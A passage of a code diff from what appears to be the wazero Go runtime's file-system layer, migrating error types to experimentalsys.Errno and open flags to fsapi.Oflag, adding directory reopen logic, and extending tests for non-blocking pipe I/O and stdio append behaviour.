func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) {
|
||||
return unlink(d.join(path))
|
||||
}
|
||||
|
||||
// Symlink implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno {
|
||||
// Note: do not resolve `oldName` relative to this dirFS. The link result is always resolved
|
||||
// when dereference the `link` on its usage (e.g. readlink, read, etc).
|
||||
// https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409
|
||||
err := os.Symlink(oldName, d.join(link))
|
||||
return platform.UnwrapOSError(err)
|
||||
return experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
// Utimens implements the same method as documented on api.FS
|
||||
func (d *dirFS) Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno {
|
||||
return Utimens(d.join(path), times, symlinkFollow)
|
||||
}
|
||||
|
||||
// Truncate implements the same method as documented on api.FS
|
||||
func (d *dirFS) Truncate(path string, size int64) syscall.Errno {
|
||||
// Use os.Truncate as syscall.Truncate doesn't exist on Windows.
|
||||
err := os.Truncate(d.join(path), size)
|
||||
return platform.UnwrapOSError(err)
|
||||
// Utimens implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno {
|
||||
return Utimens(d.join(path), times)
|
||||
}
|
||||
|
||||
func (d *dirFS) join(path string) string {
|
||||
|
||||
+162
-129
@@ -4,10 +4,10 @@ import (
|
||||
"io"
|
||||
"io/fs"
|
||||
"os"
|
||||
"syscall"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) {
|
||||
@@ -20,11 +20,11 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) {
|
||||
} else {
|
||||
mode = st.Mode()
|
||||
}
|
||||
var flag int
|
||||
var flag fsapi.Oflag
|
||||
if stdin {
|
||||
flag = syscall.O_RDONLY
|
||||
flag = fsapi.O_RDONLY
|
||||
} else {
|
||||
flag = syscall.O_WRONLY
|
||||
flag = fsapi.O_WRONLY
|
||||
}
|
||||
var file fsapi.File
|
||||
if of, ok := f.(*os.File); ok {
|
||||
@@ -33,17 +33,17 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) {
|
||||
} else {
|
||||
file = &fsFile{file: f}
|
||||
}
|
||||
return &stdioFile{File: file, st: fsapi.Stat_t{Mode: mode, Nlink: 1}}, nil
|
||||
return &stdioFile{File: file, st: sys.Stat_t{Mode: mode, Nlink: 1}}, nil
|
||||
}
|
||||
|
||||
func OpenFile(path string, flag int, perm fs.FileMode) (*os.File, syscall.Errno) {
|
||||
if flag&fsapi.O_DIRECTORY != 0 && flag&(syscall.O_WRONLY|syscall.O_RDWR) != 0 {
|
||||
return nil, syscall.EISDIR // invalid to open a directory writeable
|
||||
func OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) {
|
||||
if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 {
|
||||
return nil, experimentalsys.EISDIR // invalid to open a directory writeable
|
||||
}
|
||||
return openFile(path, flag, perm)
|
||||
}
|
||||
|
||||
func OpenOSFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) {
|
||||
func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
|
||||
f, errno := OpenFile(path, flag, perm)
|
||||
if errno != 0 {
|
||||
return nil, errno
|
||||
@@ -51,12 +51,12 @@ func OpenOSFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Er
|
||||
return newOsFile(path, flag, perm, f), 0
|
||||
}
|
||||
|
||||
func OpenFSFile(fs fs.FS, path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) {
|
||||
if flag&fsapi.O_DIRECTORY != 0 && flag&(syscall.O_WRONLY|syscall.O_RDWR) != 0 {
|
||||
return nil, syscall.EISDIR // invalid to open a directory writeable
|
||||
func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
|
||||
if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 {
|
||||
return nil, experimentalsys.EISDIR // invalid to open a directory writeable
|
||||
}
|
||||
f, err := fs.Open(path)
|
||||
if errno := platform.UnwrapOSError(err); errno != 0 {
|
||||
if errno := experimentalsys.UnwrapOSError(err); errno != 0 {
|
||||
return nil, errno
|
||||
}
|
||||
// Don't return an os.File because the path is not absolute. osFile needs
|
||||
@@ -66,25 +66,31 @@ func OpenFSFile(fs fs.FS, path string, flag int, perm fs.FileMode) (fsapi.File,
|
||||
|
||||
type stdioFile struct {
|
||||
fsapi.File
|
||||
st fsapi.Stat_t
|
||||
st sys.Stat_t
|
||||
}
|
||||
|
||||
// IsDir implements File.IsDir
|
||||
func (f *stdioFile) IsDir() (bool, syscall.Errno) {
|
||||
return false, 0
|
||||
// SetAppend implements File.SetAppend
|
||||
func (f *stdioFile) SetAppend(bool) experimentalsys.Errno {
|
||||
// Ignore for stdio.
|
||||
return 0
|
||||
}
|
||||
|
||||
// IsAppend implements File.SetAppend
|
||||
func (f *stdioFile) IsAppend() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
// Stat implements File.Stat
|
||||
func (f *stdioFile) Stat() (fsapi.Stat_t, syscall.Errno) {
|
||||
func (f *stdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
|
||||
return f.st, 0
|
||||
}
|
||||
|
||||
// Close implements File.Close
|
||||
func (f *stdioFile) Close() syscall.Errno {
|
||||
func (f *stdioFile) Close() experimentalsys.Errno {
|
||||
return 0
|
||||
}
|
||||
|
||||
// fsFile is used for wrapped os.File, like os.Stdin or any fs.File
|
||||
// fsFile is used for wrapped fs.File, like os.Stdin or any fs.File
|
||||
// implementation. Notably, this does not have access to the full file path.
|
||||
// so certain operations can't be supported, such as inode lookups on Windows.
|
||||
type fsFile struct {
|
||||
@@ -100,7 +106,13 @@ type fsFile struct {
|
||||
// file is always set, possibly an os.File like os.Stdin.
|
||||
file fs.File
|
||||
|
||||
// closed is true when closed was called. This ensures proper syscall.EBADF
|
||||
// reopenDir is true if reopen should be called before Readdir. This flag
|
||||
// is deferred until Readdir to prevent redundant rewinds. This could
|
||||
// happen if Seek(0) was called twice, or if in Windows, Seek(0) was called
|
||||
// before Readdir.
|
||||
reopenDir bool
|
||||
|
||||
// closed is true when closed was called. This ensures proper sys.EBADF
|
||||
closed bool
|
||||
|
||||
// cachedStat includes fields that won't change while a file is open.
|
||||
@@ -108,84 +120,73 @@ type fsFile struct {
|
||||
}
|
||||
|
||||
type cachedStat struct {
|
||||
// fileType is the same as what's documented on Dirent.
|
||||
fileType fs.FileMode
|
||||
// dev is the same as fsapi.Stat_t Dev.
|
||||
dev uint64
|
||||
|
||||
// ino is the same as what's documented on Dirent.
|
||||
ino uint64
|
||||
// dev is the same as fsapi.Stat_t Ino.
|
||||
ino sys.Inode
|
||||
|
||||
// isDir is fsapi.Stat_t Mode masked with fs.ModeDir
|
||||
isDir bool
|
||||
}
|
||||
|
||||
// cachedStat returns the cacheable parts of platform.sys.Stat_t or an error if
|
||||
// they couldn't be retrieved.
|
||||
func (f *fsFile) cachedStat() (fileType fs.FileMode, ino uint64, errno syscall.Errno) {
|
||||
// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they
|
||||
// couldn't be retrieved.
|
||||
func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) {
|
||||
if f.cachedSt == nil {
|
||||
if _, errno = f.Stat(); errno != 0 {
|
||||
return
|
||||
}
|
||||
}
|
||||
return f.cachedSt.fileType, f.cachedSt.ino, 0
|
||||
return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0
|
||||
}
|
||||
|
||||
// Ino implements File.Ino
|
||||
func (f *fsFile) Ino() (uint64, syscall.Errno) {
|
||||
if _, ino, errno := f.cachedStat(); errno != 0 {
|
||||
return 0, errno
|
||||
} else {
|
||||
return ino, 0
|
||||
}
|
||||
// Dev implements the same method as documented on fsapi.File
|
||||
func (f *fsFile) Dev() (uint64, experimentalsys.Errno) {
|
||||
dev, _, _, errno := f.cachedStat()
|
||||
return dev, errno
|
||||
}
|
||||
|
||||
// IsAppend implements File.IsAppend
|
||||
// Ino implements the same method as documented on fsapi.File
|
||||
func (f *fsFile) Ino() (sys.Inode, experimentalsys.Errno) {
|
||||
_, ino, _, errno := f.cachedStat()
|
||||
return ino, errno
|
||||
}
|
||||
|
||||
// IsDir implements the same method as documented on fsapi.File
|
||||
func (f *fsFile) IsDir() (bool, experimentalsys.Errno) {
|
||||
_, _, isDir, errno := f.cachedStat()
|
||||
return isDir, errno
|
||||
}
|
||||
|
||||
// IsAppend implements the same method as documented on fsapi.File
|
||||
func (f *fsFile) IsAppend() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// SetAppend implements File.SetAppend
|
||||
func (f *fsFile) SetAppend(bool) (errno syscall.Errno) {
|
||||
return fileError(f, f.closed, syscall.ENOSYS)
|
||||
// SetAppend implements the same method as documented on fsapi.File
|
||||
func (f *fsFile) SetAppend(bool) (errno experimentalsys.Errno) {
|
||||
return fileError(f, f.closed, experimentalsys.ENOSYS)
|
||||
}
|
||||
|
||||
// IsDir implements File.IsDir
|
||||
func (f *fsFile) IsDir() (bool, syscall.Errno) {
|
||||
if ft, _, errno := f.cachedStat(); errno != 0 {
|
||||
return false, errno
|
||||
} else if ft.Type() == fs.ModeDir {
|
||||
return true, 0
|
||||
}
|
||||
return false, 0
|
||||
}
|
||||
|
||||
// Stat implements File.Stat
|
||||
func (f *fsFile) Stat() (st fsapi.Stat_t, errno syscall.Errno) {
|
||||
// Stat implements the same method as documented on fsapi.File
|
||||
func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
|
||||
if f.closed {
|
||||
errno = syscall.EBADF
|
||||
return
|
||||
return sys.Stat_t{}, experimentalsys.EBADF
|
||||
}
|
||||
|
||||
// While some functions in fsapi.File need the full path, especially in
|
||||
// Windows, stat does not. Casting here allows os.DirFS to return inode
|
||||
// information.
|
||||
if of, ok := f.file.(*os.File); ok {
|
||||
if st, errno = statFile(of); errno != 0 {
|
||||
return
|
||||
}
|
||||
return f.cacheStat(st)
|
||||
} else if t, err := f.file.Stat(); err != nil {
|
||||
errno = platform.UnwrapOSError(err)
|
||||
return
|
||||
} else {
|
||||
st = StatFromDefaultFileInfo(t)
|
||||
return f.cacheStat(st)
|
||||
st, errno := statFile(f.file)
|
||||
switch errno {
|
||||
case 0:
|
||||
f.cachedSt = &cachedStat{dev: st.Dev, ino: st.Ino, isDir: st.Mode&fs.ModeDir == fs.ModeDir}
|
||||
case experimentalsys.EIO:
|
||||
errno = experimentalsys.EBADF
|
||||
}
|
||||
return st, errno
|
||||
}
|
||||
|
||||
func (f *fsFile) cacheStat(st fsapi.Stat_t) (fsapi.Stat_t, syscall.Errno) {
|
||||
f.cachedSt = &cachedStat{fileType: st.Mode & fs.ModeType, ino: st.Ino}
|
||||
return st, 0
|
||||
}
|
||||
|
||||
// Read implements File.Read
|
||||
func (f *fsFile) Read(buf []byte) (n int, errno syscall.Errno) {
|
||||
// Read implements the same method as documented on fsapi.File
|
||||
func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) {
|
||||
if n, errno = read(f.file, buf); errno != 0 {
|
||||
// Defer validation overhead until we've already had an error.
|
||||
errno = fileError(f, f.closed, errno)
|
||||
@@ -193,8 +194,8 @@ func (f *fsFile) Read(buf []byte) (n int, errno syscall.Errno) {
|
||||
return
|
||||
}
|
||||
|
||||
// Pread implements File.Pread
|
||||
func (f *fsFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) {
|
||||
// Pread implements the same method as documented on fsapi.File
|
||||
func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) {
|
||||
if ra, ok := f.file.(io.ReaderAt); ok {
|
||||
if n, errno = pread(ra, buf, off); errno != 0 {
|
||||
// Defer validation overhead until we've already had an error.
|
||||
@@ -208,7 +209,7 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) {
|
||||
// Determine the current position in the file, as we need to revert it.
|
||||
currentOffset, err := rs.Seek(0, io.SeekCurrent)
|
||||
if err != nil {
|
||||
return 0, fileError(f, f.closed, platform.UnwrapOSError(err))
|
||||
return 0, fileError(f, f.closed, experimentalsys.UnwrapOSError(err))
|
||||
}
|
||||
|
||||
// Put the read position back when complete.
|
||||
@@ -217,31 +218,30 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) {
|
||||
// If the current offset isn't in sync with this reader, move it.
|
||||
if off != currentOffset {
|
||||
if _, err = rs.Seek(off, io.SeekStart); err != nil {
|
||||
return 0, fileError(f, f.closed, platform.UnwrapOSError(err))
|
||||
return 0, fileError(f, f.closed, experimentalsys.UnwrapOSError(err))
|
||||
}
|
||||
}
|
||||
|
||||
n, err = rs.Read(buf)
|
||||
if errno = platform.UnwrapOSError(err); errno != 0 {
|
||||
if errno = experimentalsys.UnwrapOSError(err); errno != 0 {
|
||||
// Defer validation overhead until we've already had an error.
|
||||
errno = fileError(f, f.closed, errno)
|
||||
}
|
||||
} else {
|
||||
errno = syscall.ENOSYS // unsupported
|
||||
errno = experimentalsys.ENOSYS // unsupported
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Seek implements File.Seek.
|
||||
func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno) {
|
||||
// Seek implements the same method as documented on fsapi.File
|
||||
func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) {
|
||||
// If this is a directory, and we're attempting to seek to position zero,
|
||||
// we have to re-open the file to ensure the directory state is reset.
|
||||
var isDir bool
|
||||
if offset == 0 && whence == io.SeekStart {
|
||||
if isDir, errno = f.IsDir(); errno != 0 {
|
||||
if isDir, errno = f.IsDir(); errno == 0 && isDir {
|
||||
f.reopenDir = true
|
||||
return
|
||||
} else if isDir {
|
||||
return 0, f.reopen()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -251,22 +251,32 @@ func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno syscall.
|
||||
errno = fileError(f, f.closed, errno)
|
||||
}
|
||||
} else {
|
||||
errno = syscall.ENOSYS // unsupported
|
||||
errno = experimentalsys.ENOSYS // unsupported
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (f *fsFile) reopen() syscall.Errno {
|
||||
_ = f.close()
|
||||
var err error
|
||||
f.file, err = f.fs.Open(f.name)
|
||||
return platform.UnwrapOSError(err)
|
||||
}
|
||||
// Readdir implements the same method as documented on fsapi.File
|
||||
//
|
||||
// Notably, this uses readdirFile or fs.ReadDirFile if available. This does not
|
||||
// return inodes on windows.
|
||||
func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
|
||||
// Windows lets you Readdir after close, fs.File also may not implement
|
||||
// close in a meaningful way. read our closed field to return consistent
|
||||
// results.
|
||||
if f.closed {
|
||||
errno = experimentalsys.EBADF
|
||||
return
|
||||
}
|
||||
|
||||
// Readdir implements File.Readdir. Notably, this uses fs.ReadDirFile if
|
||||
// available.
|
||||
func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) {
|
||||
if of, ok := f.file.(*os.File); ok {
|
||||
if f.reopenDir { // re-open the directory if needed.
|
||||
f.reopenDir = false
|
||||
if errno = adjustReaddirErr(f, f.closed, f.reopen()); errno != 0 {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if of, ok := f.file.(readdirFile); ok {
|
||||
// We can't use f.name here because it is the path up to the fsapi.FS,
|
||||
// not necessarily the real path. For this reason, Windows may not be
|
||||
// able to populate inodes. However, Darwin and Linux will.
|
||||
@@ -289,39 +299,39 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) {
|
||||
dirents = append(dirents, fsapi.Dirent{Name: e.Name(), Type: e.Type()})
|
||||
}
|
||||
} else {
|
||||
errno = syscall.ENOTDIR
|
||||
errno = experimentalsys.EBADF // not a directory
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Write implements File.Write
|
||||
func (f *fsFile) Write(buf []byte) (n int, errno syscall.Errno) {
|
||||
// Write implements the same method as documented on fsapi.File.
|
||||
func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) {
|
||||
if w, ok := f.file.(io.Writer); ok {
|
||||
if n, errno = write(w, buf); errno != 0 {
|
||||
// Defer validation overhead until we've already had an error.
|
||||
errno = fileError(f, f.closed, errno)
|
||||
}
|
||||
} else {
|
||||
errno = syscall.ENOSYS // unsupported
|
||||
errno = experimentalsys.ENOSYS // unsupported
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Pwrite implements File.Pwrite
|
||||
func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno syscall.Errno) {
|
||||
// Pwrite implements the same method as documented on fsapi.File.
|
||||
func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) {
|
||||
if wa, ok := f.file.(io.WriterAt); ok {
|
||||
if n, errno = pwrite(wa, buf, off); errno != 0 {
|
||||
// Defer validation overhead until we've already had an error.
|
||||
errno = fileError(f, f.closed, errno)
|
||||
}
|
||||
} else {
|
||||
errno = syscall.ENOSYS // unsupported
|
||||
errno = experimentalsys.ENOSYS // unsupported
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Close implements File.Close
|
||||
func (f *fsFile) Close() syscall.Errno {
|
||||
// Close implements the same method as documented on fsapi.File.
|
||||
func (f *fsFile) Close() experimentalsys.Errno {
|
||||
if f.closed {
|
||||
return 0
|
||||
}
|
||||
@@ -329,12 +339,12 @@ func (f *fsFile) Close() syscall.Errno {
|
||||
return f.close()
|
||||
}
|
||||
|
||||
func (f *fsFile) close() syscall.Errno {
|
||||
return platform.UnwrapOSError(f.file.Close())
|
||||
func (f *fsFile) close() experimentalsys.Errno {
|
||||
return experimentalsys.UnwrapOSError(f.file.Close())
|
||||
}
|
||||
|
||||
// dirError is used for commands that work against a directory, but not a file.
|
||||
func dirError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno {
|
||||
func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno {
|
||||
if vErrno := validate(f, isClosed, false, true); vErrno != 0 {
|
||||
return vErrno
|
||||
}
|
||||
@@ -342,7 +352,7 @@ func dirError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno {
|
||||
}
|
||||
|
||||
// fileError is used for commands that work against a file, but not a directory.
|
||||
func fileError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno {
|
||||
func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno {
|
||||
if vErrno := validate(f, isClosed, true, false); vErrno != 0 {
|
||||
return vErrno
|
||||
}
|
||||
@@ -350,9 +360,9 @@ func fileError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno {
|
||||
}
|
||||
|
||||
// validate is used to making syscalls which will fail.
|
||||
func validate(f fsapi.File, isClosed, wantFile, wantDir bool) syscall.Errno {
|
||||
func validate(f fsapi.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno {
|
||||
if isClosed {
|
||||
return syscall.EBADF
|
||||
return experimentalsys.EBADF
|
||||
}
|
||||
|
||||
isDir, errno := f.IsDir()
|
||||
@@ -361,52 +371,75 @@ func validate(f fsapi.File, isClosed, wantFile, wantDir bool) syscall.Errno {
|
||||
}
|
||||
|
||||
if wantFile && isDir {
|
||||
return syscall.EISDIR
|
||||
return experimentalsys.EISDIR
|
||||
} else if wantDir && !isDir {
|
||||
return syscall.ENOTDIR
|
||||
return experimentalsys.ENOTDIR
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func read(r io.Reader, buf []byte) (n int, errno syscall.Errno) {
|
||||
func read(r io.Reader, buf []byte) (n int, errno experimentalsys.Errno) {
|
||||
if len(buf) == 0 {
|
||||
return 0, 0 // less overhead on zero-length reads.
|
||||
}
|
||||
|
||||
n, err := r.Read(buf)
|
||||
return n, platform.UnwrapOSError(err)
|
||||
return n, experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
func pread(ra io.ReaderAt, buf []byte, off int64) (n int, errno syscall.Errno) {
|
||||
func pread(ra io.ReaderAt, buf []byte, off int64) (n int, errno experimentalsys.Errno) {
|
||||
if len(buf) == 0 {
|
||||
return 0, 0 // less overhead on zero-length reads.
|
||||
}
|
||||
|
||||
n, err := ra.ReadAt(buf, off)
|
||||
return n, platform.UnwrapOSError(err)
|
||||
return n, experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
func seek(s io.Seeker, offset int64, whence int) (int64, syscall.Errno) {
|
||||
func seek(s io.Seeker, offset int64, whence int) (int64, experimentalsys.Errno) {
|
||||
if uint(whence) > io.SeekEnd {
|
||||
return 0, syscall.EINVAL // negative or exceeds the largest valid whence
|
||||
return 0, experimentalsys.EINVAL // negative or exceeds the largest valid whence
|
||||
}
|
||||
|
||||
newOffset, err := s.Seek(offset, whence)
|
||||
return newOffset, platform.UnwrapOSError(err)
|
||||
return newOffset, experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
func readdir(f *os.File, path string, n int) (dirents []fsapi.Dirent, errno syscall.Errno) {
|
||||
// reopenFile allows re-opening a file for reasons such as applying flags or
|
||||
// directory iteration.
|
||||
type reopenFile func() experimentalsys.Errno
|
||||
|
||||
// compile-time check to ensure fsFile.reopen implements reopenFile.
|
||||
var _ reopenFile = (*fsFile)(nil).reopen
|
||||
|
||||
// reopen implements the same method as documented on reopenFile.
|
||||
func (f *fsFile) reopen() experimentalsys.Errno {
|
||||
_ = f.close()
|
||||
var err error
|
||||
f.file, err = f.fs.Open(f.name)
|
||||
return experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
// readdirFile allows masking the `Readdir` function on os.File.
|
||||
type readdirFile interface {
|
||||
Readdir(n int) ([]fs.FileInfo, error)
|
||||
}
|
||||
|
||||
// readdir uses readdirFile.Readdir, special casing windows when path !="".
|
||||
func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
|
||||
fis, e := f.Readdir(n)
|
||||
if errno = platform.UnwrapOSError(e); errno != 0 {
|
||||
if errno = experimentalsys.UnwrapOSError(e); errno != 0 {
|
||||
return
|
||||
}
|
||||
|
||||
dirents = make([]fsapi.Dirent, 0, len(fis))
|
||||
|
||||
// linux/darwin won't have to fan out to lstat, but windows will.
|
||||
var ino uint64
|
||||
var ino sys.Inode
|
||||
for fi := range fis {
|
||||
t := fis[fi]
|
||||
// inoFromFileInfo is more efficient than sys.NewStat_t, as it gets the
|
||||
// inode without allocating an instance and filling other fields.
|
||||
if ino, errno = inoFromFileInfo(path, t); errno != 0 {
|
||||
return
|
||||
}
|
||||
@@ -415,20 +448,20 @@ func readdir(f *os.File, path string, n int) (dirents []fsapi.Dirent, errno sysc
|
||||
return
|
||||
}
|
||||
|
||||
func write(w io.Writer, buf []byte) (n int, errno syscall.Errno) {
|
||||
func write(w io.Writer, buf []byte) (n int, errno experimentalsys.Errno) {
|
||||
if len(buf) == 0 {
|
||||
return 0, 0 // less overhead on zero-length writes.
|
||||
}
|
||||
|
||||
n, err := w.Write(buf)
|
||||
return n, platform.UnwrapOSError(err)
|
||||
return n, experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno syscall.Errno) {
|
||||
func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno experimentalsys.Errno) {
|
||||
if len(buf) == 0 {
|
||||
return 0, 0 // less overhead on zero-length writes.
|
||||
}
|
||||
|
||||
n, err := w.WriteAt(buf, off)
|
||||
return n, platform.UnwrapOSError(err)
|
||||
return n, experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
+161
-108
@@ -7,15 +7,15 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
"testing"
|
||||
gofstest "testing/fstest"
|
||||
"time"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
"github.com/tetratelabs/wazero/internal/testing/require"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
//go:embed file_test.go
|
||||
@@ -48,17 +48,13 @@ func TestStdioFileSetNonblock(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestRegularFileSetNonblock(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("Nonblock on regular files is not supported on Windows")
|
||||
}
|
||||
|
||||
// Test using os.Pipe as it is known to support non-blocking reads.
|
||||
r, w, err := os.Pipe()
|
||||
require.NoError(t, err)
|
||||
defer r.Close()
|
||||
defer w.Close()
|
||||
|
||||
rF := newOsFile("", syscall.O_RDONLY, 0, r)
|
||||
rF := newOsFile("", fsapi.O_RDONLY, 0, r)
|
||||
|
||||
errno := rF.SetNonblock(true)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
@@ -67,7 +63,7 @@ func TestRegularFileSetNonblock(t *testing.T) {
|
||||
// Read from the file without ever writing to it should not block.
|
||||
buf := make([]byte, 8)
|
||||
_, e := rF.Read(buf)
|
||||
require.EqualErrno(t, syscall.EAGAIN, e)
|
||||
require.EqualErrno(t, experimentalsys.EAGAIN, e)
|
||||
|
||||
errno = rF.SetNonblock(false)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
@@ -88,11 +84,38 @@ func TestReadFdNonblock(t *testing.T) {
|
||||
// Read from the file without ever writing to it should not block.
|
||||
buf := make([]byte, 8)
|
||||
_, e := readFd(fd, buf)
|
||||
if runtime.GOOS == "windows" {
|
||||
require.EqualErrno(t, syscall.ENOSYS, e)
|
||||
} else {
|
||||
require.EqualErrno(t, syscall.EAGAIN, e)
|
||||
require.EqualErrno(t, experimentalsys.EAGAIN, e)
|
||||
}
|
||||
|
||||
func TestWriteFdNonblock(t *testing.T) {
|
||||
// Test using os.Pipe as it is known to support non-blocking reads.
|
||||
r, w, err := os.Pipe()
|
||||
require.NoError(t, err)
|
||||
defer r.Close()
|
||||
defer w.Close()
|
||||
|
||||
fd := w.Fd()
|
||||
err = setNonblock(fd, true)
|
||||
|
||||
require.NoError(t, err)
|
||||
|
||||
// Create a buffer (the content is not relevant)
|
||||
buf := make([]byte, 1024)
|
||||
// Write to the file until the pipe buffer gets filled up.
|
||||
numWrites := 100
|
||||
for i := 0; i < numWrites; i++ {
|
||||
_, e := writeFd(fd, buf)
|
||||
if e != 0 {
|
||||
if runtime.GOOS == "windows" {
|
||||
// This is currently not supported on Windows.
|
||||
require.EqualErrno(t, experimentalsys.ENOSYS, e)
|
||||
} else {
|
||||
require.EqualErrno(t, experimentalsys.EAGAIN, e)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatal("writeFd should return EAGAIN at some point")
|
||||
}
|
||||
|
||||
func TestFileSetAppend(t *testing.T) {
|
||||
@@ -102,7 +125,7 @@ func TestFileSetAppend(t *testing.T) {
|
||||
require.NoError(t, os.WriteFile(fPath, []byte("0123456789"), 0o600))
|
||||
|
||||
// Open without APPEND.
|
||||
f, errno := OpenOSFile(fPath, os.O_RDWR, 0o600)
|
||||
f, errno := OpenOSFile(fPath, fsapi.O_RDWR, 0o600)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
require.False(t, f.IsAppend())
|
||||
|
||||
@@ -131,6 +154,16 @@ func TestFileSetAppend(t *testing.T) {
|
||||
requireFileContent("wazero6789wazero")
|
||||
}
|
||||
|
||||
func TestStdioFile_SetAppend(t *testing.T) {
|
||||
// SetAppend should not affect Stdio.
|
||||
file, err := NewStdioFile(false, os.Stdout)
|
||||
require.NoError(t, err)
|
||||
errno := file.SetAppend(true)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
_, errno = file.Write([]byte{})
|
||||
require.EqualErrno(t, 0, errno)
|
||||
}
|
||||
|
||||
func TestFileIno(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
dirFS, embedFS, mapFS := dirEmbedMapFS(t, tmpDir)
|
||||
@@ -142,7 +175,7 @@ func TestFileIno(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
fs fs.FS
|
||||
expectedIno uint64
|
||||
expectedIno sys.Inode
|
||||
}{
|
||||
{name: "os.DirFS", fs: dirFS, expectedIno: st.Ino},
|
||||
{name: "embed.api.FS", fs: embedFS},
|
||||
@@ -153,39 +186,44 @@ func TestFileIno(t *testing.T) {
|
||||
tc := tc
|
||||
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
d, errno := OpenFSFile(tc.fs, ".", syscall.O_RDONLY, 0)
|
||||
d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer d.Close()
|
||||
|
||||
ino, errno := d.Ino()
|
||||
require.EqualErrno(t, 0, errno)
|
||||
if !canReadDirInode() {
|
||||
tc.expectedIno = 0
